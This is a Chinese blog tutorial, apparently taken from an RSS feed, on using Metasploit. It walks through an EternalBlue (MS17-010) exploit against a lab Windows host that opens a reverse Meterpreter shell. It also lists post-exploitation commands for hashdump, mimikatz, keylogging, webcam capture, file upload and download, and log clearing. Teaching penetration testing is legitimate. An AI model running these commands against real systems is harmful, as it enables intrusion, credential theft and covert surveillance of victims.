若想要全站变为黑白，可修改 &lt;code&gt;head.ejs&lt;/code&gt; 模板文件（不同主题略有不同）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
html {
    filter: progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
    -webkit-filter: grayscale(100%);
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>MSF使用教程</title><link>https://blog.hiyun.top/posts/msf%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/msf%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</guid><description>MSF使用教程</description><pubDate>Thu, 24 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Metasploit Framework&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实验环境&lt;/li&gt;
&lt;li&gt;简介&lt;/li&gt;
&lt;li&gt;Metasploit 的安装和更新升级
&lt;ol&gt;
&lt;li&gt;一键安装MSF&lt;/li&gt;
&lt;li&gt;MSF 的更新升级
&lt;ol&gt;
&lt;li&gt;非 kali 环境下更新升级 MSF&lt;/li&gt;
&lt;li&gt;kali 环境下更新升级 MSF&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;使用方法
&lt;ol&gt;
&lt;li&gt;基础使用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MSF&lt;/code&gt; 中加载自定义的 &lt;code&gt;exploit 模块&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;漏洞利用 (exploit)&lt;/li&gt;
&lt;li&gt;攻击载荷 (payload)
4.1 payload 模块路径
4.2 Metasploit 中的 Payload 模块主要有以下三种类型&lt;/li&gt;
&lt;li&gt;Meterpreter
5.1 Meterpreter 是如何工作的？
5.2 Meterpreter 的特点&lt;/li&gt;
&lt;li&gt;MS17_010 (永恒之蓝)
6.1 查找漏洞相关模块
6.2 利用 &lt;code&gt;Auxiliary 辅助探测模块&lt;/code&gt; 对漏洞进行探测
6.3 使用 &lt;code&gt;Exploit 漏洞利用模块&lt;/code&gt; 对漏洞进行利用
6.4 Payload 攻击载荷模块&lt;/li&gt;
&lt;li&gt;后渗透阶段
7.1 Post 后渗透模块
7.2 查看主机是否运行在虚拟机上
7.3 关闭杀毒软件
7.4 获取目标主机的详细信息
7.5 访问文件系统
7.6 上传 / 下载文件
7.6.1 下载文件
7.6.2 上传文件
7.7 权限提升
7.8 获取用户密码
7.9 运行程序
7.11 屏幕截图
7.12 创建一个新账号
7.13 启用远程桌面
7.14 键盘记录
7.15 进程迁移
7.16 禁止目标主机使用键盘鼠标
7.17 用目标主机摄像头拍照
7.18 常用扩展库介绍
7.18.1 load/use 命令
7.18.2 run 命令
7.19 生成持续性后门
7.19.1 启动项启动
7.19.2 服务启动
7.20 portfwd 端口转发
7.21 清除事件日志&lt;/li&gt;
&lt;li&gt;导入并执行 PowerShell 脚本&lt;/li&gt;
&lt;li&gt;加载 stdapi&lt;/li&gt;
&lt;li&gt;升级 Session&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实验环境&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;靶机
Windows10
192.168.100.158&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;攻击机
Linux Kali
192.168.100.132&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;Metasploit Framework(MSF) 是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新
Metasploit 可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程
被安全社区冠以 “可以黑掉整个宇宙” 之名
刚开始的 Metasploit 是采用 Perl 语言编写的，但是再后来的新版中，改成了用 Ruby 语言编写
在 kali 中，自带了 Metasploit 工具
我们接下来以大名鼎鼎的永恒之蓝 MS17_010 漏洞为切入点，讲解 MSF 框架的使用&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Metasploit 的安装和更新升级&lt;/h2&gt;
&lt;h3&gt;一键安装 MSF&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;在一般的 linux 中，默认是不安装 MSF 的
以下是在非 kali 的 Linux 下安装 MSF 框架&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所需命令:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#一键安装MSF：
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &amp;gt; msfinstall &amp;amp;&amp;amp; chmod 755 msfinstall &amp;amp;&amp;amp; ./msfinstall
 
adduser msf                           #添加msf用户
su msf                                #切换到msf用户
cd  /opt/metasploit-framework/bin     #切换到msf所在的目录
./msfconsole                          #以后启动msfconsole，都切换到msf用户下启动，这样会同步数据库。如果使用root用户启动的话，不会同步数据库
 
#也可以将msfconsole加入到执行目录下，这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
 
#备注：
#初次运行msf会创建数据库，但是msf默认使用的PostgreSQL数据库不能与root用户关联
#这也这也就是需要新建用户msf来运行metasploit的原因所在
#如果你一不小心手一抖，初次运行是在root用户下
#请使用 msfdb reinit 命令，然后使用非root用户初始化数据库   
 
# 非kali环境下更新升级MSF：
msfupdate							   # MSF后期的升级
# kali环境下更新升级MSF：
apt update 							   # 更新安装包信息；只检查，不更新（已安装的软件包是否有可用的更新，给出汇总报告）
apt upgrade 						   # 更新已安装的软件包，不删除旧包
apt full-upgrade					   # 升级包，删除旧包
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;MSF 的更新升级&lt;/h3&gt;
&lt;h4&gt;非 kali 环境下更新升级 MSF&lt;/h4&gt;
&lt;p&gt;命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfupdate  #MSF后期更新升级
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;kali 环境下更新升级 MSF&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;由于 kali 中的 Metasploit 渗透测试框架是集成在系统中的
不是单独安装，不支持使用 msfupdate 命令更新
更新的话需要随系统程序更新&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用 msfupdate 命令会出现下面的情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root💀kali)-[~/desktop]
└─# msfupdate
msfupdate is no longer supported when Metasploit is part of the operating
system. Please use &apos;apt update; apt install metasploit-framework&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 kali 中更新 MSF 使用以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update 					# 更新安装包信息；只检查，不更新（已安装的软件包是否有可用的更新，给出汇总报告）
apt upgrade 				# 更新已安装的软件包，不删除旧包；
apt full-upgrade			# 升级包，删除旧包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用上面命令，是在更新系统程序的同时，把 MSF 更新&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;使用方法&lt;/h2&gt;
&lt;h3&gt;基础使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;msfconsole										    #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
info     										    #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp    	#设置攻击载荷
show options    									#查看模块需要配置的参数
set  RHOST  192.168.100.158    					    #设置参数
exploit / run     								    #攻击
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;code&gt;MSF&lt;/code&gt; 中加载自定义的 &lt;code&gt;exploit模块&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/weixin_45588247/article/details/119488520?spm=1001.2014.3001.5501&quot;&gt;参考CSDN-CVE-2019-0708 远程桌面漏洞复现&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;漏洞利用 (exploit)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;漏洞利用 exploit，也就是我们常说的 exp
他就是对漏洞进行攻击的代码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;exploit 漏洞利用模块路径 (这里面有针对不同平台的 exploit)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/share/metasploit-framework/modules/exploits
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;攻击载荷 (payload)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Payload&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Payload&lt;/code&gt; 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码
而在 &lt;code&gt;Metasploit&lt;/code&gt; 中 &lt;code&gt;Payload&lt;/code&gt; 是一种特殊模块
它们能够以漏洞利用模块运行
并能够利用目标系统中的安全漏洞实施攻击
简而言之，这种漏洞利用模块可以访问目标系统
而其中的代码定义了 &lt;code&gt;Payload&lt;/code&gt; 在目标系统中的行为&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Shellcode&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Shellcode&lt;/code&gt; 是 &lt;code&gt;payload&lt;/code&gt; 中的精髓部分
在渗透攻击时作为攻击载荷运行的一组机器指令
&lt;code&gt;Shellcode&lt;/code&gt; 通常用汇编语言编写
在大多数情况下，目标系统执行了 &lt;code&gt;shellcode&lt;/code&gt;这一组指令之后
才会提供一个命令行 &lt;code&gt;shell&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;payload 模块路径&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/usr/share/metasploit-framework/modules/payloads
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Metasploit 中的 Payload 模块主要有以下三种类型&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Single&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;是一种完全独立的 &lt;code&gt;Payload&lt;/code&gt;，而且使用起来就像运行 &lt;code&gt;calc.exe&lt;/code&gt; 一样简单
例如添加一个系统用户或删除一份文件。由于 &lt;code&gt;Single Payload&lt;/code&gt; 是完全独立的，因此它们有可能会被类似 &lt;code&gt;netcat&lt;/code&gt; 这样的非 &lt;code&gt;metasploit&lt;/code&gt; 处理工具所捕捉到&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Stager&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这种 &lt;code&gt;Payload 负责建立目标用户与攻击者之间的网络连接&lt;/code&gt;，并下载额外的组件或应用程序
一种常见的 &lt;code&gt;Stager Payload&lt;/code&gt; 就是 &lt;code&gt;reverse_tcp&lt;/code&gt;，它&lt;code&gt;可以让目标系统与攻击者建立一条 tcp 连接&lt;/code&gt;，让目标系统主动连接我们的端口 (反向连接)
另一种常见的是 &lt;code&gt;bind_tcp&lt;/code&gt;，它可以&lt;code&gt;让目标系统开启一个tcp监听器，而攻击者随时可以与目标系统进行通信(正向连接)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Stage&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;是 &lt;code&gt;Stager Payload&lt;/code&gt; 下的一种 &lt;code&gt;Payload组件&lt;/code&gt;
这种 Payload 可以提供更加高级的功能，而且没有大小限制&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在 Metasploit 中，我们可以通过 Payload 的名称和使用格式来推断它的类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#Single Payload的格式为：
&amp;lt;target&amp;gt;/ &amp;lt;single&amp;gt;  如：windows/powershell_bind_tcp
#Stager/Stage Payload的格式为：
&amp;lt;target&amp;gt;/ &amp;lt;stage&amp;gt; / &amp;lt;stager&amp;gt;  如：windows/meterpreter/reverse_tcp
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;当我们在 Metasploit 中执行 show payloads 命令之后，它会给我们显示一个可使用的 Payload 列表&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;在这个列表中，像 &lt;code&gt;windows/powershell_bind_tcp&lt;/code&gt; 就是一个 &lt;code&gt;Single Payload&lt;/code&gt;，它不包含 &lt;code&gt;Stage Payload&lt;/code&gt;
而 &lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt; 则由一个 &lt;code&gt;Stage Payload (meterpreter)&lt;/code&gt;和 一个 &lt;code&gt;Stager Payload (reverse_tcp)&lt;/code&gt; 组成&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Stager 中几种常见的 payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp    #反向连接，常用
windows/meterpreter/reverse_http   #通过监听80端口反向连接
windows/meterpreter/reverse_https  #通过监听443端口反向连接
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;正向连接使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;我们的攻击机在内网环境，被攻击机是外网环境，由于被攻击机无法主动连接到我们的主机，所以就必须我们主动连接被攻击机了
但是这里经常遇到的问题是，被攻击机上开了防火墙，只允许访问指定的端口，比如被攻击机只对外开放了 80 端口
那么，我们就只能设置正向连接 80 端口了，这里很有可能失败，因为 80 端口上的流量太多了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;反向连接使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;我们的主机和被攻击机都是在外网或者都是在内网，这样被攻击机就能主动连接到我们的主机了
如果是这样的情况，建议使用反向连接
因为反向连接的话，即使被攻击机开了防火墙也没事，防火墙只是阻止进入被攻击机的流量，而不会阻止被攻击机主动向外连接的流量&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;反向连接80和443端口使用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;被攻击机能主动连接到我们的主机，还有就是被攻击机的防火墙设置的特别严格
就连被攻击机访问外部网络的流量也进行了严格的限制
只允许被攻击机的 80 端口或 443 端口与外部通信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;Meterpreter&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Meterpreter&lt;/code&gt; 属于 &lt;code&gt;stage payload&lt;/code&gt;
在 &lt;code&gt;Metasploit Framework&lt;/code&gt; 中，&lt;code&gt;Meterpreter&lt;/code&gt; 是一种&lt;code&gt;后渗透工具&lt;/code&gt;
它属于一种在运行过程中可通过网络进行功能扩展的&lt;code&gt;动态可扩展型 Payload&lt;/code&gt;
这种工具是基于 &lt;code&gt;内存 DLL 注入&lt;/code&gt; 理念实现的
它能够通过创建一个&lt;code&gt;新进程并调用注入的 DLL&lt;/code&gt; 来让&lt;code&gt;目标系统运行注入的 DLL文件&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Meterpreter 是如何工作的？&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;首先目标先要执行初始的溢出漏洞会话连接，可能是 &lt;code&gt;bind 正向连接&lt;/code&gt;，或者&lt;code&gt;反弹 reverse 连接&lt;/code&gt;
反射连接的时候&lt;code&gt;加载 dll 链接文件&lt;/code&gt;，同时&lt;code&gt;后台悄悄处理 dll 文件&lt;/code&gt;
其次 &lt;code&gt;Meterpreter&lt;/code&gt; 核心代码初始化，通过 &lt;code&gt;socket 套接字&lt;/code&gt;建立一个 &lt;code&gt;TLS/1.0&lt;/code&gt; 加密隧道并发送 &lt;code&gt;GET 请求&lt;/code&gt; 给 &lt;code&gt;Metasploit 服务端&lt;/code&gt;
&lt;code&gt;Metasploit 服务端&lt;/code&gt;收到这个 &lt;code&gt;GET&lt;/code&gt; 请求后就配置相应客户端
最后，&lt;code&gt;Meterpreter&lt;/code&gt; 加载扩展，所有的扩展被加载都通过 &lt;code&gt;TLS/1.0&lt;/code&gt; 进行数据传输&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Meterpreter 的特点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Meterpreter&lt;/code&gt; 完全驻留在内存，没有写入到磁盘。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Meterpreter&lt;/code&gt; 注入的时候不会产生新的进程，并可以很容易的移植到其它正在运行的进程。&lt;/li&gt;
&lt;li&gt;默认情况下， &lt;code&gt;Meterpreter&lt;/code&gt; 的通信是加密的，所以很安全。&lt;/li&gt;
&lt;li&gt;扩展性，许多新的特征模块可以被加载。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们在设置 &lt;code&gt;payloads&lt;/code&gt; 时，可以将 &lt;code&gt;payloads&lt;/code&gt; 设置为：&lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt;
然后获得了 &lt;code&gt;meterpreter&amp;gt;&lt;/code&gt; 之后我们就可以干很多事了&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;MS17_010 (永恒之蓝)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;我们现在模拟使用 MS17_010 漏洞攻击
这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;查找漏洞相关模块&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;在 kali 命令行里面输入命令 msfconsole，进入 msf 框架中&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;msfconsole  #输入命令进入msf渗透框架中
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;搜索 MS17_010 漏洞&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;search ms17_010  #利用search命令，搜索漏洞相关利用模块
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;利用 &lt;code&gt;Auxiliary辅助探测模块&lt;/code&gt; 对漏洞进行探测&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Auxiliary辅助探测模块&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;该模块不会直接在攻击机和靶机之间建立访问，它们只负责执行扫描，嗅探，指纹识别等相关功能以辅助渗透测试&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;使用 smb_ms17_010 漏洞探测模块对 smb_ms17_010 漏洞进行探测&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;use auxiliary/scanner/smb/smb_ms17_010
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看这个模块需要配置的信息&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;show options  #查看这个模块需要配置的信息
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;设置要探测的远程目标&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;set rhosts 192.168.100.100-192.168.100.190
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;对上面设置的 ip 范围内的主机进行攻击&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用 &lt;code&gt;Exploit漏洞利用模块&lt;/code&gt; 对漏洞进行利用&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;选择漏洞攻击模块，对漏洞进行利用&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;use exploit/windows/smb/ms17_010_eternalblue
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看这个漏洞的信息&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;info
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看可攻击的系统平台，显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;show targets  
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Payload 攻击载荷模块&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码
成功渗透目标后，用于在目标系统上运行任意命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;查看攻击载荷&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;show  payloads  #该命令可以查看当前漏洞利用模块下可用的所有Payload
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;设置攻击载荷&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;set payload windows/x64/meterpreter/reverse_tcp
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看模块需要配置的参数&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;show  options
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;设置攻击载荷参数&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;set RHOST 192.168.100.158   #设置RHOST，也就是要攻击主机的ip
set LHOST 192.168.100.132   #设置LHOST，也就是我们主机的ip，用于接收从目标机弹回来的shell
set lport 6666              #设置lport，也就是我们主机的端口，反弹shell到这个端口；如果我们这里不设置lport的话，默认是4444端口监听；
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;进行攻击&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;后渗透阶段&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;运行了 &lt;code&gt;exploit&lt;/code&gt; 命令之后
我们开启了一个 &lt;code&gt;reverse TCP&lt;/code&gt; 监听器来监听本地的 &lt;code&gt;6666&lt;/code&gt; 端口
即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)
运行成功之后，我们将会看到命令提示符 &lt;code&gt;meterpreter &amp;gt;&lt;/code&gt; 出现&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Meterpreter 的命令用法:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;==========================================
核心命令：
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话（用于 http/https）
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       （重新）协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静，然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi：文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件（ls 的别名）
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi：网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi：系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息，例如 OS

==========================================
Stdapi：用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi：网络摄像头命令：
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi：音频输出命令：
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv：权限提升命令：
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv：密码数据库命令：
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv：Timestomp 命令：
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 &lt;code&gt;shell&lt;/code&gt; 即可切换到目标主机的 &lt;code&gt;windows cmd_shell&lt;/code&gt; 里面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shell         #获取目标主机的cmd_shell权限
chcp 65001    #这里为了避免目标主机cmd_shell字符乱码，设置目标主机命令行的字符编码，65001是UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要想从目标主机 &lt;code&gt;shell&lt;/code&gt; 退出到 &lt;code&gt;meterpreter&lt;/code&gt; ，只需输入：&lt;code&gt;exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;meterpreter&lt;/code&gt; 退出到 &lt;code&gt;MSF框架&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;background   #把我们获得的meterpreter会话挂载到后台运行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看前面获得的 meterpreter_shell 会话，最前面的数字是会话的 id&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sessions  -l    #查看获得的meterpreter_shell会话列表
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 sessions [id 号] 即可进入相应的 meterpreter_shell 中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sessions 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 &lt;code&gt;shell&lt;/code&gt; 即可进入 &lt;code&gt;cmd&lt;/code&gt; 类型的控制
再输入 &lt;code&gt;powershell&lt;/code&gt; ，即可进入 &lt;code&gt;powershell&lt;/code&gt; 类型的控制台&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sysinfo             									#查看目标主机系统信息
run scraper         									#查看目标主机详细信息
run hashdump        									#导出密码的哈希
load kiwi           									#加载mimikatz
ps                  									#查看目标主机进程信息
pwd                		 								#查看目标当前目录(windows)
getlwd              									#查看目标当前目录(Linux)
search -f *.jsp -d e:\                					#搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          					#将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      					#将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid             										#查看当前Meterpreter Shell的进程PID
migrate 1384        									#将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime           		 								#查看主机运行时间
